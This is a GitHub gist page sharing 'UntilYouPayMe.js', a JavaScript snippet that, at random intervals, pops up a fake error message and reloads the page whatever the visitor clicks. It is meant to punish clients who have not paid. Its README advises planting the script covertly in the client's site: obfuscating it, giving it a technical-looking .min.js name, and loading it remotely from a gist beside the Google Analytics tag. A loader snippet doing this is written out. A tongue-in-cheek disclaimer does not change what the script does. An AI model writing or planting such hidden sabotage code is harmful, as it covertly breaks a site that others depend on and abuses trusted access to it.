Skip to content

Instantly share code, notes, and snippets.

@mattrc
Forked from juanbrujo/UntilYouPayMe.js
Created June 5, 2016 14:56
Show Gist options
  • Save mattrc/857fa61b4dec3cb226204c853db337c3 to your computer and use it in GitHub Desktop.
Save mattrc/857fa61b4dec3cb226204c853db337c3 to your computer and use it in GitHub Desktop.
Use this JavaScript function to annoy your clients that insist in not paying you.
function randomErrors(){
var errorMessages = ['Unexpected Error!','Something happended, please try again'];
var randomMessage = errorMessages[Math.floor(Math.random() * errorMessages.length)];
var currentURL = (window.location != window.parent.location) ? document.referrer : document.location;
if (confirm( randomMessage )) {
window.location.reload(true);
} else {
window.location.reload(true);
}
}
var randomTime = Math.floor(Math.random() * 20000) + 10000;
var startAnnoying = (window.setTimeout(randomErrors, randomTime));

UntilYouPayMe.js

Use this JavaScript function to annoy your clients that insist in not paying you.

This script will prompt an error message at a random time (from 10 sec to 60 sec) and any button user presses will reload the whole page.

Use:

Include this script in a way you can remove it if someone blocks your access to the server and make it not evident to catch. My suggestions:

  • obfuscate the code using this tool
  • call it directly from a GitHub gist. When needed just delete or empty the gist. Change the filename to something more technical. Any webapp, and add .min.js
  • call it next to Google Analytics script, so it can be easily hidden, like this:
var head = document.getElementsByTagName('head')[0];var script = document.createElement('script');script.type = 'text/javascript';script.onload = function() {callFunctionFromScript();}
script.src = 'https://gist.githubusercontent.com/juanbrujo/5a1f6eaf610315eec6df66025d9e7a87/raw/228d898eef73f44ca3b3878328fc9decbb725345/UntilYouPayMe.js';head.appendChild(script);

Disclaimer:

Use at own risk. You agree that use of this script is at your own risk. The author does not make any warranty as to the results that may be obtained from use of this script or as to the accuracy, reliability or contents of any information provided through this website.

Always try to create a way to make an agreement first. The author does not recommend the use of this script at any circumstance.

License:

DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment